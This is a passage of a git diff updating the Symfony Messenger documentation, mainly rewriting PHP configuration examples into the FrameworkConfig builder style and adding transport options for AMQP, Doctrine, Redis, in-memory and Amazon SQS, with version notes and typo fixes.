+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            // by default if no "failure_transport" is configured inside a transport
+            $messenger->failureTransport('failed_default');
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->failureTransport('failed_high_priority');
+
+            // since no failed transport is configured, the one used will be
+            // the global failure_transport set
+           $messenger->transport('async_priority_low')
+                ->dsn('doctrine://default?queue_name=async_priority_low');
+
+           $messenger->transport('failed_default')
+                ->dsn('doctrine://default?queue_name=failed_default');
+
+           $messenger->transport('failed_high_priority')
+                ->dsn('doctrine://default?queue_name=failed_high_priority');
+        };
+
+If there is no ``failure_transport`` defined globally or on the transport level,
+the messages will be discarded after the number of retries.
+
+The failed commands have an optional option ``--transport`` to specify
+the ``failure_transport`` configured at the transport level.
+
+.. code-block:: terminal
+
+    # see all messages in "failure_transport" transport
+    $ php bin/console messenger:failed:show --transport=failure_transport
+
+    # retry specific messages from "failure_transport"
+    $ php bin/console messenger:failed:retry 20 30 --transport=failure_transport --force
+
+    # remove a message without retrying it from "failure_transport"
+    $ php bin/console messenger:failed:remove 20 --transport=failure_transport
+
 .. _messenger-transports-config:
 
 Transport Configuration
@@ -883,18 +1126,15 @@ options. Options can be passed to the transport via a DSN string or configuratio
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'my_transport' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'auto_setup' => false,
-                        ]
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('my_transport')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['auto_setup' => false]);
+        };
 
 Options defined under ``options`` take precedence over ones defined in the DSN.
 
@@ -941,6 +1181,11 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
 
+.. note::
+
+    With Symfony 5.3 or newer, you can limit the consumer of an AMQP transport to only
+    process messages from some queues of an exchange. See :ref:`messenger-limit-queues`.
+
 The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`.
@@ -956,8 +1201,8 @@ The transport has a number of options:
 ``cert``                                      Path to the client certificate in PEM format.
 ``channel_max``                               Specifies highest channel number that the server
                                               permits. 0 means standard extension limit
-``confirm_timeout``                           Timeout in seconds for confirmation, if none
-                                              specified transport will not wait for message
+``confirm_timeout``                           Timeout in seconds for confirmation; if none
+                                              specified, transport will not wait for message
                                               confirmation. Note: 0 or greater seconds. May be
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
@@ -997,7 +1242,8 @@ The transport has a number of options:
 ``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
 ``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
 ``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``
+``exchange[arguments]``                       Extra arguments for the exchange (e.g.
+                                              ``alternate-exchange``)
 ``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
                                               specified on the message
 ``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``
@@ -1005,6 +1251,15 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. versionadded:: 5.2
+
+    The ``confirm_timeout`` option was introduced in Symfony 5.2.
+
+.. deprecated:: 5.3
+
+    The ``prefetch_count`` option was deprecated in Symfony 5.3 because it has
+    no effect on the AMQP Messenger transport.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
@@ -1014,7 +1269,7 @@ your Envelope::
 
     $attributes = [];
     $bus->dispatch(new SmsNotification(), [
-        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes)
+        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
 .. caution::
@@ -1061,10 +1316,16 @@ a table named ``messenger_messages``.
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
+.. caution::
+
+    The datetime property of the messages stored in the database uses the
+    timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration use the same storage.
+
 The transport has a number of options:
 
 ==================  =====================================  ======================
-     Option         Description                            Default
+Option              Description                            Default
 ==================  =====================================  ======================
 table_name          Name of the table                      messenger_messages
 queue_name          Name of the queue (a column in the     default
@@ -1080,6 +1341,29 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
+.. versionadded:: 5.1
+
+    The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced
+    in Symfony 5.1.
+
+When using PostgreSQL, you have access to the following options to leverage
+the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
+than the default polling behavior of the Doctrine transport because
+PostgreSQL will directly notify the workers when a new message is inserted
+in the table.
+
+=======================  ==========================================  ======================
+Option                   Description                                 Default
+=======================  ==========================================  ======================
+use_notify               Whether to use LISTEN/NOTIFY.               true
+check_delayed_interval   The interval to check for delayed           1000
+                         messages, in milliseconds.
+                         Set to 0 to disable checks.
+get_notify_timeout       The length of time to wait for a            0
+                         response when calling
+                         ``PDO::pgsqlGetNotify``, in milliseconds.
+=======================  ==========================================  ======================
+
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -1087,7 +1371,7 @@ Beanstalkd Transport
 
     The Beanstalkd transport was introduced in Symfony 5.2.
 
-The Beanstalkd transports sends messages directly to a Beanstalkd work queue. Install
+The Beanstalkd transport sends messages directly to a Beanstalkd work queue. Install
 it by running:
 
 .. code-block:: terminal
@@ -1143,7 +1427,9 @@ The Redis transport DSN may looks like this:
     # .env
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
     # Full DSN Example
-    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0
+    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0&delete_after_ack=true
+    # Redis Cluster Example
+    MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 
@@ -1151,51 +1437,62 @@ The Redis transport DSN may looks like this:
 
     The Unix socket DSN was introduced in Symfony 5.1.
 
-To use the Redis transport, you will need the Redis PHP extension (>=4.3) and
-a running Redis server (^5.0).
-
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-===================  =====================================  =================================
-     Option               Description                       Default
-===================  =====================================  =================================
-stream               The Redis stream name                  messages
-group                The Redis consumer group name          symfony
-consumer             Consumer name used in Redis            consumer
-auto_setup           Create the Redis group automatically?  true
-auth                 The Redis password
-delete_after_ack     If ``true``, messages are deleted      false
-                     automatically after processing them
-delete_after_reject  If ``true``, messages are deleted      true
-                     automatically if they are rejected
-lazy                 Connect only when a connection is      false
-                     really needed
-serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                     in Redis (the
-                     ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
-                     the stream will be trimmed to. Set
-                     it to a large enough number to
-                     avoid losing pending messages
-tls                  Enable TLS support for the connection  false
-redeliver_timeout    Timeout before retrying a pending      ``3600``
-                     message which is owned by an
-                     abandoned consumer (if a worker died
-                     for some reason, this will occur,
-                     eventually you should retry the
-                     message) - in seconds.
-claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
-                     messages should be checked for to
-                     claim - in milliseconds
-===================  =====================================  =================================
+
+=======================  =====================================  =================================
+Option                   Description                            Default
+=======================  =====================================  =================================
+stream                   The Redis stream name                  messages
+group                    The Redis consumer group name          symfony
+consumer                 Consumer name used in Redis            consumer
+auto_setup               Create the Redis group automatically?  true
+auth                     The Redis password
+delete_after_ack         If ``true``, messages are deleted      false
+                         automatically after processing them
+delete_after_reject      If ``true``, messages are deleted      true
+                         automatically if they are rejected
+lazy                     Connect only when a connection is      false
+                         really needed
+serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                         in Redis (the
+                         ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
+                         the stream will be trimmed to. Set
+                         it to a large enough number to
+                         avoid losing pending messages
+tls                      Enable TLS support for the connection  false
+redeliver_timeout        Timeout before retrying a pending      ``3600``
+                         message which is owned by an
+                         abandoned consumer (if a worker died
+                         for some reason, this will occur,
+                         eventually you should retry the
+                         message) - in seconds.
+claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
+                         messages should be checked for to
+                         claim - in milliseconds
+sentinel_persistent_id   String, if null connection is          null
+                         non-persistent.
+sentinel_retry_interval  Int, value in milliseconds             ``0``
+sentinel_read_timeout    Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_timeout         Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_master          String, if null or empty Sentinel      null
+                         support is disabled
+=======================  =====================================  =================================
 
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same
-    config (stream, group and consumer name) to avoid having a message handled more than once.
-    Using the ``HOSTNAME`` as the consumer might often be a good idea. In case you are using
-    Kubernetes to orchestrate your containers, consider using a ``StatefulSet``.
+    combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
+    handled more than once. If you run multiple queue workers, ``consumer`` can be set to an
+    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%``) set by Supervisor
+    (example below) or any other service used to manage the worker processes.
+    In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
+    there is only one worker per container/host. If using Kubernetes to orchestrate the
+    containers, consider using a ``StatefulSet`` to have stable names.
 
 .. tip::
 
@@ -1213,6 +1510,17 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
+    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 5.4.
+
+.. deprecated:: 5.4
+
+    Not setting a explicit value for the ``delete_after_ack`` option is
+    deprecated since Symfony 5.4. In Symfony 6.0, the default value of this
+    option changes from ``false`` to ``true``.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1253,15 +1561,14 @@ override it in the ``test`` environment to use this transport:
     .. code-block:: php
 
         // config/packages/test/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => 'in-memory://',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')
+                ->dsn('in-memory://');
+        };
 
 Then, while testing, messages will *not* be delivered to the real transport.
 Even better, in a test, you can check that exactly one message was sent
@@ -1283,11 +1590,21 @@ during a request::
             $this->assertSame(200, $client->getResponse()->getStatusCode());
 
             /* @var InMemoryTransport $transport */
-            $transport = self::$container->get('messenger.transport.async_priority_normal');
+            $transport = $this->getContainer()->get('messenger.transport.async_priority_normal');
             $this->assertCount(1, $transport->getSent());
         }
     }
 
+The transport has a number of options:
+
+``serialize`` (boolean, default: ``false``)
+    Whether to serialize messages or not. This is useful to test an additional
+    layer, especially when you use your own message serializer.
+
+.. versionadded:: 5.3
+
+    The ``serialize`` option was introduced in Symfony 5.3.
+
 .. note::
 
         All ``in-memory`` transports will be reset automatically after each test **in**
@@ -1300,7 +1617,7 @@ Amazon SQS
 
 .. versionadded:: 5.1
 
-    The Amazon SQS transport as introduced in Symfony 5.1.
+    The Amazon SQS transport was introduced in Symfony 5.1.
 
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
@@ -1314,7 +1631,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages
+    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key=AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::
@@ -1322,27 +1639,43 @@ The SQS transport DSN may looks like this:
     The transport will automatically create queues that are needed. This
     can be disabled setting the ``auto_setup`` option to ``false``.
 
+.. tip::
+
+    Before sending or receiving a message, Symfony needs to convert the queue
+    name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
+    extra API call can be avoided by providing a DSN which is the queue URL.
+
+    .. versionadded:: 5.2
+
+        The feature to provide the queue URL in the DSN was introduced in Symfony 5.2.
+
 The transport has a number of options:
 
 ======================  ======================================  ===================================
      Option             Description                             Default
 ======================  ======================================  ===================================
-``access_key``          AWS access key
+``access_key``          AWS access key                          must be urlencoded
 ``account``             Identifier of the AWS account           The owner of the credentials
-``auto_setup``          Whether the table should be created     ``true``
+``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
 ``buffer_size``         Number of messages to prefetch          9
+``debug``               If ``true`` it logs all HTTP requests   ``false``
+                        and responses (it impacts performance)
 ``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
 ``poll_timeout``        Wait for new message duration in        0.1
                         seconds
 ``queue_name``          Name of the queue                       messages
 ``region``              Name of the AWS region                  eu-west-1
-``secret_key``          AWS secret key
+``secret_key``          AWS secret key                          must be urlencoded
 ``visibility_timeout``  Amount of seconds the message will      Queue's configuration
                         not be visible (`Visibility Timeout`_)
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
+.. versionadded:: 5.3
+
+    The ``debug`` option was introduced in Symfony 5.3.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should
@@ -1416,23 +1749,21 @@ this globally (or for each transport) to a service that implements
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'serializer' => [
-                    'default_serializer' => 'messenger.transport.symfony_serializer',
-                    'symfony_serializer' => [
-                        'format' => 'json',
-                        'context' => [],
-                    ],
-                ],
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => // ...
-                        'serializer' => 'messenger.transport.symfony_serializer',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->serializer()
+                ->defaultSerializer('messenger.transport.symfony_serializer')
+                ->symfonySerializer()
+                    ->format('json')
+                    ->context('foo', 'bar');
+
+            $messenger->transport('async_priority_normal')
+                ->dsn(...)
+                ->serializer('messenger.transport.symfony_serializer');
+        };
 
 The ``messenger.transport.symfony_serializer`` is a built-in service that uses
 the :doc:`Serializer component </serializer>` and can be configured in a few ways.
@@ -1654,17 +1985,17 @@ Then, make sure to "route" your message to *both* transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => '...',
-                    'image_transport' => '...',
-                ],
-                'routing' => [
-                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal']
-                ]
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')->dsn(...);
+            $messenger->transport('image_transport')->dsn(...);
+
+            $messenger->routing('App\Message\UploadedImage')
+                ->senders(['image_transport', 'async_priority_normal']);
+        };
 
 That's it! You can now consume each transport:
 
@@ -1699,12 +2030,12 @@ to your message::
     {
         $bus->dispatch(new SmsNotification('...'), [
             // wait 5 seconds before processing
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]);
 
         // or explicitly create an Envelope
         $bus->dispatch(new Envelope(new SmsNotification('...'), [
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]));
 
         // ...
@@ -1797,22 +2128,16 @@ middleware and *only* include your own:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'messenger.bus.default' => [
-                        // disable the default middleware
-                        'default_middleware' => false,
-
-                        // and/or add your own
-                        'middleware' => [
-                            'App\Middleware\MyMiddleware',
-                            'App\Middleware\AnotherMiddleware',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('messenger.bus.default')
+                ->defaultMiddleware(false);
+            $bus->middleware()->id('App\Middleware\MyMiddleware');
+            $bus->middleware()->id('App\Middleware\AnotherMiddleware');
+        };
 
 .. note::
 
@@ -1891,21 +2216,77 @@ may want to use:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'doctrine_transaction',
-                            'doctrine_ping_connection',
-                            'doctrine_close_connection',
-                            // Using another entity manager
-                            ['id' => 'doctrine_transaction', 'arguments' => ['custom']],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('doctrine_transaction');
+            $bus->middleware()->id('doctrine_ping_connection');
+            $bus->middleware()->id('doctrine_close_connection');
+            // Using another entity manager
+            $bus->middleware()->id('doctrine_transaction')
+                ->arguments(['custom']);
+        };
+
+Other Middlewares
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The ``router_context`` middleware was introduced in Symfony 5.3.
+
+Add the ``router_context`` middleware if you need to generate absolute URLs in
+the consumer (e.g. render a template with links). This middleware stores the
+original request context (i.e. the host, the HTTP port, etc.) which is needed
+when building absolute URLs.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                buses:
+                    command_bus:
+                        middleware:
+                            - router_context
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:bus name="command_bus">
+                        <framework:middleware id="router_context"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('router_context');
+        };
+
 
 Messenger Events
 ~~~~~~~~~~~~~~~~
@@ -1941,7 +2322,9 @@ Learn more
 .. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
+.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
+.. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index be41d63a41e..ae15b15bbeb 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -65,7 +65,7 @@ Here is a simplified example of a database transport::
                     WHERE (delivered_at IS NULL OR delivered_at < :redeliver_timeout)
                     AND handled = FALSE'
                 )
-                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5minutes'))
+                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5 minutes'))
                 ->getOneOrNullResult();
 
             if (null === $row) {
@@ -203,13 +203,14 @@ named transport using your own DSN:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'yours' => 'my-transport://...',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('yours')
+                    ->dsn('my-transport://...')
+            ;
+        };
 
 In addition of being able to route your messages to the ``yours`` sender, this
 will give you access to the following services:
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index e382f49eed3..7daaaebc676 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -40,7 +40,7 @@ DispatchAfterCurrentBusMiddleware Middleware
 --------------------------------------------
 
 For many applications, the desired behavior is to *only* handle messages that
-are dispatched by a handler once that handler has fully finished. This can be by
+are dispatched by a handler once that handler has fully finished. This can be done by
 using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 ``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
 
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index dc4c1fd0821..8d630d011f4 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -11,7 +11,7 @@ You can use this to get the value returned by the handler(s)::
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Stamp\HandledStamp;
 
-    $envelope = $messageBus->dispatch(SomeMessage());
+    $envelope = $messageBus->dispatch(new SomeMessage());
 
     // get the value that was returned by the last message handler
     $handledStamp = $envelope->last(HandledStamp::class);
@@ -62,7 +62,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
         }
 
         // Creating such a method is optional, but allows type-hinting the result
-        private function query(ListItemsQuery $query): ListItemsResult
+        private function query(ListItemsQuery $query): ListItemsQueryResult
         {
             return $this->handle($query);
         }
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 5136553dac2..5a1ffecf94c 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -34,6 +34,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                         middleware:
                             - validation
                     event.bus:
+                        # the 'allow_no_handlers' middleware allows to have no handler
+                        # configured for this bus without throwing an exception
                         default_middleware: allow_no_handlers
                         middleware:
                             - validation
@@ -56,13 +58,15 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="command.bus">
                         <framework:middleware id="validation"/>
                         <framework:middleware id="doctrine_transaction"/>
-                    <framework:bus>
+                    </framework:bus>
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
+                    <!-- the 'allow_no_handlers' middleware allows to have no handler
+                         configured for this bus without throwing an exception -->
                     <framework:bus name="event.bus" default-middleware="allow_no_handlers">
                         <framework:middleware id="validation"/>
-                    <framework:bus>
+                    </framework:bus>
                 </framework:messenger>
             </framework:config>
         </container>
@@ -70,31 +74,25 @@ an **event bus**. The event bus could have zero or more subscribers.
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // The bus that is going to be injected when injecting MessageBusInterface
-                'default_bus' => 'command.bus',
-                'buses' => [
-                    'command.bus' => [
-                        'middleware' => [
-                            'validation',
-                            'doctrine_transaction',
-                        ],
-                    ],
-                    'query.bus' => [
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                    'event.bus' => [
-                        'default_middleware' => 'allow_no_handlers',
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // The bus that is going to be injected when injecting MessageBusInterface
+            $framework->messenger()->defaultBus('command.bus');
+
+            $commandBus = $framework->messenger()->bus('command.bus');
+            $commandBus->middleware()->id('validation');
+            $commandBus->middleware()->id('doctrine_transaction');
+
+            $queryBus = $framework->messenger()->bus('query.bus');
+            $queryBus->middleware()->id('validation');
+
+            $eventBus = $framework->messenger()->bus('event.bus');
+            // the 'allow_no_handlers' middleware allows to have no handler
+            // configured for this bus without throwing an exception
+            $eventBus->defaultMiddleware('allow_no_handlers');
+            $eventBus->middleware()->id('validation');
+        };
 
 This will create three new services:
 
@@ -150,30 +148,30 @@ you can restrict each handler to a specific bus using the ``messenger.message_ha
 This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
 known by the ``command.bus`` bus.
 
-You can also automatically add this tag to a number of classes by following
-a naming convention and registering all of the handler services by name with
-the correct tag:
+You can also automatically add this tag to a number of classes by using
+the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
+you can determine the message bus based on an implemented interface:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
+        services:
+            # ...
+
+            _instanceof:
+                # all services implementing the CommandHandlerInterface
+                # will be registered on the command.bus bus
+                App\MessageHandler\CommandHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: command.bus }
 
-        # put this after the "App\" line that registers all your services
-        command_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: command.bus }
-
-        query_handlers:
-            namespace: App\MessageHandler\
-            resource: '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php'
-            autoconfigure: false
-            tags:
-                - { name: messenger.message_handler, bus: query.bus }
+                # while those implementing QueryHandlerInterface will be
+                # registered on the query.bus bus
+                App\MessageHandler\QueryHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: query.bus }
 
     .. code-block:: xml
 
@@ -185,32 +183,45 @@ the correct tag:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <!-- command handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*CommandHandler.php" autoconfigure="false">
+                <!-- ... -->
+
+                <!-- all services implementing the CommandHandlerInterface
+                     will be registered on the command.bus bus -->
+                <instanceof id="App\MessageHandler\CommandHandlerInterface">
                     <tag name="messenger.message_handler" bus="command.bus"/>
-                </prototype>
-                <!-- query handlers -->
-                <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*QueryHandler.php" autoconfigure="false">
+                </instanceof>
+
+                <!-- while those implementing QueryHandlerInterface will be
+                     registered on the query.bus bus -->
+                <instanceof id="App\MessageHandler\QueryHandlerInterface">
                     <tag name="messenger.message_handler" bus="query.bus"/>
-                </prototype>
+                </instanceof>
             </services>
         </container>
 
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // Command handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*CommandHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+        use App\MessageHandler\CommandHandlerInterface;
+        use App\MessageHandler\QueryHandlerInterface;
 
-        // Query handlers
-        $container->services()
-            ->load('App\MessageHandler\\', '%kernel.project_dir%/src/MessageHandler/*QueryHandler.php')
-            ->autoconfigure(false)
-            ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            // ...
+
+            // all services implementing the CommandHandlerInterface
+            // will be registered on the command.bus bus
+            $services->instanceof(CommandHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+            // while those implementing QueryHandlerInterface will be
+            // registered on the query.bus bus
+            $services->instanceof(QueryHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        };
 
 Debugging the Buses
 -------------------
@@ -249,4 +260,9 @@ You can also restrict the list to a specific bus by providing its name as argume
             handled by App\MessageHandler\MultipleBusesMessageHandler
        ---------------------------------------------------------------------------------------
 
+.. tip::
+
+    Since Symfony 5.1, the command will also show the PHPDoc description of
+    the message and handler classes.
+
 .. _article about CQRS: https://martinfowler.com/bliki/CQRS.html
diff --git a/migration.rst b/migration.rst
